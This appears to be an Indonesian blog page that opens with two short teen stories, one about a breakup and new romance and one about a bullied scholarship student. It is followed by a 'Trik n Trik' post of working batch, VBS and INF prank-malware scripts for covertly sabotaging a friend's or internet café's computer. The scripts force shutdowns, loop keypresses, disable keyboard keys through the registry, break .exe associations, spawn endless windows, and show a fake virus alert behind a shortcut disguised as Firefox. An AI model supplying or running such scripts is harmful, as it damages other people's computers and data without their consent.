“ sudahlah gak ada yang harus di jelasin lagi” kataku sambil pergi

Aku dan cika langsung meninggalkan ilham dan cewek itu, dari tadi cika tidak bicara sedikitpun, hanya cewek itu saja yang bicara. Ilham mencoba mengejarku tapi aku dan cika langsung naik taxi gak menghiraukan teriakan ilham yang memanggilku. Aku meminta maaf kepada cika karena gak jadi mengantar ke toko bukunya, keburu aku melihat ilham dan cewek itu. Selama di perjalanan pulang aku menagis cika mencoba menghiburku, supaya aku tidak berlarut – larut dalam kesedihan.

Aku tiba di rumah, aku turun dari taxi pamitan sama cika. Tadinya cika mau menemaniku dulu tapi aku menyuruhnya pulang, aku langsung masuk kamar gak pengen ketahuan habis nangis oleh mamah yang lagi asyik nonton tv. Aku menghubungi iqbal dan menceritakan yang terjadi tadi siang, iqbal pun kaget dan mencoba untuk menghiburku dan dia juga mengajak aku ke luar nanti malam untuk menghiburku, tapi aku menolaknya karena aku pengen sendiri dulu tak ingin kemana - mana.

Keesekon harinya aku sekolah seperti biasanya, iqbal dan cika selalu ada di sampingku untuk menghiburku takutnya aku melakukan sesuatu yang dapat merugikanku mereka emang teman terbaikku selalu ada di waktu aku senang dan susah. Mereka selalu bertanya terus tentang ilham tapi aku gak mau membahasnya dulu, pelajaran di mulai kami pun belajar semesti biasanya.

Pulang sekolah di luar gerbang sekolah ilham sudah ada menungguku, aku berusaha mencoba untuk menghindari ilham tapi aku ketahuan, ilham menghampiriku. Aku terus berlari tapi ilham mengejar dan menghentikanku, aku pun berhenti.
“ bel tunggu aku, dengerin dulu penjelasanku” kata ilham
“ apalagi sich yang harus di jelaskan semuanya sudah jelas” jawabku
“ kemarin yang kamu lihat itu sebenarnya......” kata ilham kemudian diam
“ sebenarnya apa?” tanyaku lagi
“ sebenarnya dia itu cuman teman kampus aku, yang menyukaiku tapi aku gak balik menyukainya cuman kemarin - kemarin aku lagi kesal sama kamu, soalnya kamu terus membicarakan dan memuji iqbal setiap kita bertemu, terus dia ngajak jalan aku mengiakannya jadi kita jalan bareng dech” ilham menjelaskan panjang lembar
“ tapi gak kini caranya, untuk membalasanya kekanakan banget” kataku simpel
“ ia jadi maafin aku, kemarin aku khilaf” jawab ilham
“ ia aku maafin, tapi hubungan kita berakhir sampai di sini saja” kataku
“ maksudnya kita putus” tanya ilham
“ ia kita putus saja, mungkin kita sudah tidak cocok” jawabku sambil meninggalkan ilham
“ bella tunggu kita gak boleh putus kita bisa bicarain ini semua dengan baik - baik” teriak ilham
“ gak ada yang harus dibicarakan lagi, sudah cukup sampai disini” teriakku lagi

Aku tak menghiraukan teriakan ilham, aku terus berjalan menjauhi ilham akhirnya hubunganku dengan ilham berakhir walaupun hati ini sakit, tapi kalau di biarin berlanjut takut saling menyakiti terus. Makanya ini adalah keputusan yang terbaik untuk mengakhiri hubungan ini. Setibanya di rumah aku langsung menelpon iqbal dan cika menceritakan kalau aku dan ilham sudah putus, mereka kaget mendengar keputusanku.

Satu bulan sudah berlalu, awalnya ilham terus saja mengajak balikan lagi tapi aku terus menolaknya karena sudah terlajur sakit hati. Tapi akhirnya ilham mengalah kita jadi sahabat saja. Selama itu juga iqbal selalu menghiburku dan mengatakan perasaannya terus, tapi aku belum bisa menerimanya walaupun sudah tidak ada penghalangnya tapi aku pengen menyembuhkan luka di hati ini.

Akhir pekan pun tiba, iqbal mengajakku main ke suatu tempat yang belum pernah kami kunjungi. Sore itu pun aku pergi sama iqbal naik motor, selama perjalanan kami diam hanya menikmati suasana perjalanan yang segar setibanya disana kami pun turun dari motor.
“akhirnya kita tiba juga disini” kata iqbal
“ ia emang tempatnya menyenangkan banget” jawabku
“ ia disini aku pengen ngomong sesuatu” kata iqbal
“ ngomongin apa lagi?” tanyaku
“ masalah kita bel, aku gak mau nunggu terlalu lama sekarang kamu dan ilham sudah putus jadi sudah gak ada penghalang lagi untuk kita bisa bersatu” jawab iqbal
“ tapiiii” belum selesai berkata iqbal sudah memotong ucapanku
“ untuk sekarang tidak ada kata tapi, kamu itu harus segera move on jangan takut masalah kemarin akan terulang kembali, aku akan menyayangimu sepenuh hatiku tanpa ada pengkhianatan” kata iqbal
“ aku masih bingung harus bagaimana?” kataku
“ kamu jangan bingung – bingung, lupakanlah masa lalu mari kita bangun kembali semuanya dari awal.” Kata iqbal
“ oklah kalau begitu kita mulai semuanya dari awal, jadi sekarang kita syah jadi sepasang kekasih” kataku
“ nah kaya gini semangat aku senang mendegar ini semua” kata iqbal
“ iya bal, aku gak mau kehilangan kamu” kataku
“ makasih ya bel, aku akan jagain kamu semampuku” sahut iqbal sambil memelukku
“ ia bal sama – sama” kataku

Akhir pekan ini membuatku dan iqbal sangat bahagia, karena aku tidak menyangka bisa jadian sama iqbal. Diapun berjanji akan tetap menjagaku seperti dulu dan tidak akan meninggalkanku, aku terharu dia mencintaiku dengan begitu tulus. Tapi semua ketulusan cinta ini gak akan ku sia – siakan, akan ku jaga sampai akhir hayat nanti.

Keesekon harinya seperti biasanya ku ceritakan kejadian semalam pada cika, cika pun bahagia walaupun sebenarnya pasti dia sakit hati. Aku pun memberitahukan hubungan ku sama keluargaku mereka sangat menyetujuinya karena mereka sudah kenal jauh sama keluarga iqbal juga, gak ketinggalan akupun menceritakannya pada ilham walau pertamanya ilham kaget dan gak setuju dengan hubunganku ini. Tapi akhirnya dia menyadarinya bahwa dia sudah tidak ada hak lagi dan merestuinya. Akhirnya kami bisa menjalani hidup ini dengan bahagia bersama iqbal , temanku dan keluargaku.

TEMAN PERTAMA DI HIDUPKU

Aku hanya tertududuk terdiam menundukan kepalaku, ya... seperti ini lah kehidupanku disekolah yang menurutku sangat kejam ini. Bagaimana tidak ? semua anak membenciku karna aku seorang putri yang profesi orang tuaku adalah seorang penjual susu kaleng keliling yang memaksakan diri bersekolah disekolahan elit seperti ini, jika tidak karena beasiswa yang kudapat mungkin aku sudah melawan perbuatan mereka yang menurutku sudah di luar batas peri kemanusiaan.
***

Bel istirahat berbunyi semua anak berhamburan keluar terkecuali hanya aku yang tersisa diruangan yang bagaikan neraka ini, aku terduduk menunduk seluruh wajahku tertutup oleh rambut hitam panjangku. Cukup lama aku terdiam disini hingga pada saatnya aku merasa bosan, akhirnya aku putuskan untuk melangkah pergi keluar kelas.
Dengan berjalan menunduk menyusuri trotoar kelas dan bertemu dengan para mulut kejam yang tak salah lagi sedang membicarakanku, aku tidak peduli aku tetap melanjutkan langkahku. Sampai suatu saat sesuatu mengenai kepalaku, benda itu terjatuh di bawah tepatnya dihadapan kakiku, ternyata itu hanya botol air mineral yang tak berisi, aku memungut botol itu dan memasukannya kedalam ember sampah yang berada disampingku. Saat hendak memasukkan botol itu semua anak melempariku dengan tepung dan juga telur aku hanya terdiam menunduk pasrah menerima perlakuan mereka.
Semua anak menghampiriku, salah satu dari mereka mendorong tubuhku hingga aku terjatuh ke lantai.
"bangunlah.... ayo bangun anak miskin!" ucap seorang murid pria yang mendorongku tadi

Aku hanya bisa menangis menunduk, semua anak memukuliku hingga seluruh wajahku memar.

Tak berseling lama tiba-tiba seseorang datang yang tak lain itu adalah ibu kim, guru wali kelasku.
"Hentikan semuanya!!!" teriak ibu Kim,

Sesaat semua murid yang mengelilingiku terkejut dan spontan berlari berhamburan memasuki ruangan kelasnya masing-masing.

Ibu Kim secepat mungkin mendekatiku dan membantuku berdiri, "Kau tak apa Melati ?" tanya ibu Kim lembut
"Tidak bu, aku baik-baik saja" jawabku menunduk
"Lebih baik kau obati dulu lukamu, dan ibu akan meminta seragam baru untukmu" tutur ibu Kim
"Tidak bu tidak usah, aku baik-baik saja, terima kasih" kataku
"Baiklah, kau akan diijinkan pulang sekarang, ibu yang akan bertanggung jawab"

Oh sungguh ini tak begitu buruk untukku, akhirnya aku bisa pulang lebih cepat juga mimpi aapa aku semalam sampai bisa beruntung seperti ini.

Aku mengangkat wajahku kulihat disebelah ibu Kim berdiri seorang anak pria berpakaian seragam dan tersenyum padaku, jelas saja dia bukan siswa sekolah ini aku pun baru melihatnya.
Ibu Kim berkata jika ia pun akan memasuki ruangan kelasku untuk mengenalkan murid baru, aku berjalan mengikuti ibu Kim tepatnya dibelakang murid pria baru itu

Sesampainya diruang kelas aku segera menuju tempat dudukku dan mengambil tas milikku, semua anak memandangku sinis meski aku tidak melihatnya langsung karna aku menundukan kepalaku ketika berjalan tapi aku bisa merasakannya.
***

Pagi yang begitu cerah, membuat bahagia siapapun orangnya yang melihat keindahannya, angin pagi berhembus kencang menerpa tubuhku. Langkah demi langkah aku tapaki hingga sampailah kedepan gerbang sekolahku.

Aku memasuki ruang kelasku, terlihat disana beberapa orang anak memandangku dengan sinis bahkan ketika aku melewati mereka, mereka menghalang jalanku dan mendorong tubuhku hingga terjatuh. hanya tawa kesenangan yang mereka dapatkan.
Tiba-tiba seseorang mengulurkan tangannya padaku, aku secepat mungkin memastikan orang itu, ternyata itu adalah murid baru yang kemarin aku bertemu dengannya.
"ayolah... bangun.." ucap pria itu yang akupun tak mengenalnya

Sontak semua anak merasa heran dan bingung,
"Fandy! apa yang sedang kau lakukan?" tanya seorang murid laki-laki padanya
tapi dia tak menghiraukannya

Aku tak menerima uluran tangan miliknya, aku berfikir dia pun pasti sama seperti anak-anak lain, akhirnya aku pergi berlari keluar kelas.

Aku menangis dibawah pohon ditaman, aku tak peduli bel pelajaran sekolah dimulai. Hatiku hancur kenapa juga aku harus dilahirkan oleh sepasang keluarga penjual susu kaleng keliling? kenapa aku tidak seperti mereka? tuhan tak adil!.

Sampai sekolah sepi ditinggalkan oleh penghuninya, aku masih tetap berada dibawah pohon itu terduduk dengan kaki menegak menompang tangan dan daguku pandanganku sayu kedepan.

Tiba-tiba seseorang memegang pundakku, aku menoleh
"kau..." ucapku
"yah ini aku, apa aku boleh duduk disampingmu ?" tanya pria itu
"Untuk apa kau kemari ? apa kau pun ingin melihat seberapa menyedihkannya aku ?" Tanyaku dingin
"Tidak! aku kemari ingin berkenalan denganmu...." jawab pria itu
"Lebih baik kau pergi saja, bukankah teman-teman kayamu juga sudah pergi meninggalkan sekolah ini?" tanyaku lagi kecut
"Biarlah, tapi aku ingin bersamamu...." jawab nya

aku memandangnya muak secepat mungkin aku pergi meninggalkannya tapi ia mengejarku.
"Aku ingin menjadi temanmu, tak bisa kah kau terima aku menjadi temanmu?" tanya pria itu mengikuti dibelakangku
aku tak memperdulikannya, aku berlari berusaha menghindar darinya tapi ia tetap mengejarku.

Keesokan harinya anak pria murid baru itu tetap mengikutiku kemanapun aku pergi, dan anehnya pagi itu tak ada ejekan yang terlontar dari mulut semua murid disini tidak seperti biasanya, "Aku yang mengencam mereka untuk tidak memperlakukanmu dengan buruk!" tuturnya padaku ketika aku sedangterduduk sendiri dibangku ruang kelas "Apa maksudmu?" tanyaku tak mengerti dengan perkataanya
"Aku ingin menjadi temanmu... apa kau benar-benar membenciku ? aku hanya ingin menjadi temanmu tak lebih!"
"kenapa harus aku?" tanyaku "Dan asal kau tau aku tidak butuh siapapun disekolah ini termasuk seorang teman!" lanjutku tegas
"Tapi kenapa?" tanyanya
"Apa kau tak mengerti atau memang pura-pura tidak mengerti?" semua orang orang disini tak ada yang baik satu pun! apa itu yang selalu dilakukan oleh orang-orang kaya terhadap orang miskin sepertiku?" tanyaku dengan kedua bolamataku menatapnya
"Tidak semua orang seperti itu...." jawabnya
"Tidak?" tanyaku " Apa ada didunia ini orang yang memihak kepada orang miskin sepertiku ?"lanjutku menangis
"Ada!" jawabnya "Akulah orangnya, aku berada dipihakmu. Tak peduli siapa kamu dan siapa aku ... Yang jelas aku ingin berteman denganmu" Lanjutnya

Aku sejenak terdiam memandang matanya dalam.
"apa kau tidak malu jika berteman denganku?" Tanyaku masih memandang matanya
"Malu? apa maksudmu?" tak peduli siapa kamu dan siapa aku bagiku itu tak penting bukankah berteman dengan siapapun bisa tanpa harus memandang derajat orang tersebut?" jelasnya

Aku tersenyu padanya, ia pun membalas senyumanku dengan manis.

Tentang Sahabat



Selasa, 24 Januari 2017

Trik n Trik

TRIK 1  - Membuat Forced Shoutdown
-------------------------------------------------
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
-------------------------------------------------
simpan kode script yang berwarna Merah di Notepad dengan nama : xhack.BAT type file : All file
sebarkan File tersebut di Komputer teman Anda,
maka Komputer korban akan otomatis FORCED SHOUTDOWN


TRIK 2 - Membuat Tombol Caps Lock menyala terus-menerus
------------------------------------------------------------------
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
-------------------------------------------------------
seperti cara yang pertama, hanya berbeda kode script simpan kode yang berwarna biru di Notepad dengan nama : xhack.VBS type File : All File
sebarkan File berikut di Komputer korban maka, Tombol CAPSLOCK akan menyala terus-menerus
(bila dimatikan akan menyala lagi)


TRIK 3 - Membuat Pesan Jail mucul terus
------------------------------------------------------
@ECHO off
:Begin
msg * muka kamu sangat jelek
msg * ngaca dulu gih,
msg * hayo lo,cpu lu gw acak acak
msg * udah install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

------------------------------------------------------

simpan kode script yang berwarna hijau dengan nama xhack.BAT type file : All File
Cara ini sangat simple Jail, walaupun di close tab pesan ini masih muncul, kata katanya bisa diubah sesuai selera.









TRIK 4 - Jail dengan Membuka Tutup CD/DVD room
------------------------------------------------------
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop-------------------------------------------------------
simpan di Notepad kode berikut dengan nama : xhack.vbs type file : All File
maka DVD/CD roomnya akan membuka dan menutup otomatis,


TRIK 5 - Membuat script mucul terus menerus
-------------------------------------------------------
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
-------------------------------------------------------
simpan kode berikut di Notepad dengan nama : xhack.vbs type file : All File
membuat script bermunculan terus menerus


TRIK 6 - Membuat Tombol Backspace menjadi eror - menekan terus menerus
--------------------------------------------------------
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
----------------------------------------------------------
simpan kode script berikut di Notepad dengan nama : xhack.vbs type file : All File
maka Tombol Backspace akan eror dan menekan dengan sendirinya


TRIK 7 - Cara Membuat Pesan ' Komputer Anda Jelek Banget ' di Notepad/ Wordpad
-----------------------------------------------------------
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Komputer Anda Jelek Banget"
loop
-----------------------------------------------------------
ganti kata Komputer Anda Jelek Banget dengan selera Anda, simpan di Notepad dengan nama : xhack.vbs


TRIK 8 - Cara Membuat Notepad Terbuka Otomatis - terus menerus
------------------------------------------------------------
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
------------------------------------------------------------
simpan di Notepad dengan nama : xhack.BAT
maka Notepad akan terbuka terus menerus




TRIK 9 - Membuat Notepad dengan Pesan Jail
-------------------------------------------------------------

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "
-----------------------------------------------------------
simpan di Notepad dengan nama : xhack.vbs
ganti kode yang berwarna merah sesuai dengan selera anda.


TRIK 10 - Cara Membuat Memilih jawaban seperti Quiz di Notepad
-----------------------------------------------------------
@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
system32notepad.exe
GOTO top -----------------------------------------------------------
simpan kode script berikut di Notepad dengan nama : xhack.BAT



TRIK 11 - Membuat Komputer Hang dengan Kode script Notepad
-------------------------------------------------------------

start

start

start

start

start

start

start

start

start

start

start

start
-----------------------------------------------------------
simpan di Notepad dengan nama : xhack.BAT
terus buat shortcut palsu terserah mau shortcut apa, aku saranin shortcutnya browser mozilla terus taro aja di desktop target
( efeknya akan membuka CDM yang banyak banget sampe layarnya keluar keluar )



TRIK 12 - Cara Mematikan Tombol Keyboard
-------------------------------------------------------------
1. Salin baris-baris kode (script) berikut , paste pada Notepad dan simpan dengan nama JAIL.INF

Langsung kita mulai saja :

[Version]
Signature=”$Windows NT$”

[DefaultInstall]
AddReg =AIUEO

[AIUEO]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00,1e,00,00,00,12,00,00,00,
17,00,00,00,18,00,00,00,16,00,00,00,00,00

—————————————

2. Untuk menjalankannya, klik kanan nama file JAIL.INF dan pilih menu> Install

3. Log Off komputernya agar trik ini berfungsi.

NB :

Script diatas dimaksudkan untuk mematikan tombol A I U E O pada keyboard.

Untuk menormalkannya, silahkan salin script berikut :

—————————————

[Version]
Signature=”$Windows NT$”

[DefaultInstall]
DelReg =normal

[normal]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”

—————————————

—> Simpan dengan nama “NORMAL.INF”
Klik kanan file ini, pilih >Install
Log Off komputernya.

sumber artikel hack : kidzoom


TRIK 13 - Software Buat Jahil - Nakal
--------------------------------------------------------

Software 1
Kalau yang ini nemu di Kaskus. Tapi dijamin seru banget.. Dan inilah fungsinya :
-freeze
-snow
-earthquake
-random colours
-mouse and lines
-puzzle
Lihat efeknya dibawah
Puzzleimage
Mouse And Linesimage
Masih banyak lagi deh.. Tapi jangan salah cara menghentikannya pun sulit loh.. Buka task manager gag bisa. Klik tombol start gag bisa.. So bagaimana, Cukup Tekan ESC doang kok.. hhee  Silahkan dicoba
Download : klik disini


Software 2
1Nah kalau yang ini namanya Key joke! Fungsinya bikin lampu disco nih.. Sama seperti script yang saya berikan dulu.  Tampilannya seperti yang disamping tuh.. Ini sih masih biasa gag kaya yang diatas tadi..
Ow iya tapi sebelumnya jangan kaget ye kalau ada pesan banyak seperti ini2Karena ini juga ulahnya ni software. Bisa di close kok..
Download :  Klik disini

Software 3
Wah kali ini parah banget nih. Bisa bikin stress juga. Sampai sekarang saya pun belum tau cara ngatasinnya. Nama softwarenya Stoerung, sepertinya bahasa jerman, pas install pun berbahasa jerman. Software ini meng-invert warna desktop kita berkali-kali secara berkala. Namun efeknya, menurut saya bisa merusak VGA card, dan ini juga bisa bikin komputer lemot.. Ini pun sama dengan software seblumnya. Dy mengeluarkan alert seperti software 2 namun lebih banyaka
Download : klik disini

Masih ada 46 software lagi yang bisa kalian download untuk ngerjain temen lw.. dan efeknya mantep2 juga loh! Lihat disini
http://www.rjlpranks.com/pranks/
sumber artikel :  kidzoom


TRIK 14 - Cara Merusak Komputer teman / Warnet
---------------------------------------------------------------
buka cmd(comand prompt), kalo belum tahu nyari dimana , klik start-run-ketik CMD-Lalu ketikan script ini
ASSOC.exe=.hank
lalu enter!
!!!!
program kayak ms.word/game ngambek jalan ! , n jika sudah puas banget jailnya dan mau ngembaliin-nya , tinggal buka CMD lagi. lalu ketik
ASSOC.exe=EXEFILE
---------------------------------------------------------------


TRIK 15 -  Cara Paling Jahil Jahat
----------------------------------------------------------------

1. BUka program notepad atau biar cepet menu RUN ketik notepad lalu enter

2. Copy kode ini dan pastekan di notepad kamu

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c ” SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ………..”

3. Habis itu simpen file notepad ini dengan format *.bat = terserah mau diberi

nama apa, misal : pacebuk.bat dan SAVE di Dekstop (Recommended)

4. Sekarang klik kanan desktopmu dan pilih New => Shortcut

5. Setelah ini akan muncul sebuah tampilan dan klik browse lalu cari lokasi file

.bat yang kamu simpen tadi, misal tadi kamu save pada dekstop

6. Klik Next dan Rename dengan Mozilla Firefox (Untuk nama ini terserah kamu

dan bebas bisa ganti dengan Opera Mini atau Google Chrome, ini hanya

sebagai tipuan aja)

7.Bila semua langkah sudah oke, sekarang yang perlu kamu lakuin adalah

mengubah icon .bat tadi dalam bentuk Mozilla Firefox (karena kita sering pakai

Mozilla jadi pembahasannya pakai browser ini) .. Terus caranya gimana ?

Gampang.. tinggal kamu klik kanan file .bat tadi dan pilih change icon

Gak nemu icon mozilla ? Coba deh low cari di Program Files => Mozilla Firefox

Nah sekarang virus facebookmu telah jadi dengan sempurna, kalau kamu ingin

iseng nyoba tinggal di klik aja deh dan lihat perubahan yang akan terjadi ..

Harusnya pasti sedikit kaget dan coba low bayangin kalau trik ini kamu


praktekan di kompi temen kamu atau mungkin kompi kampus atau warnet..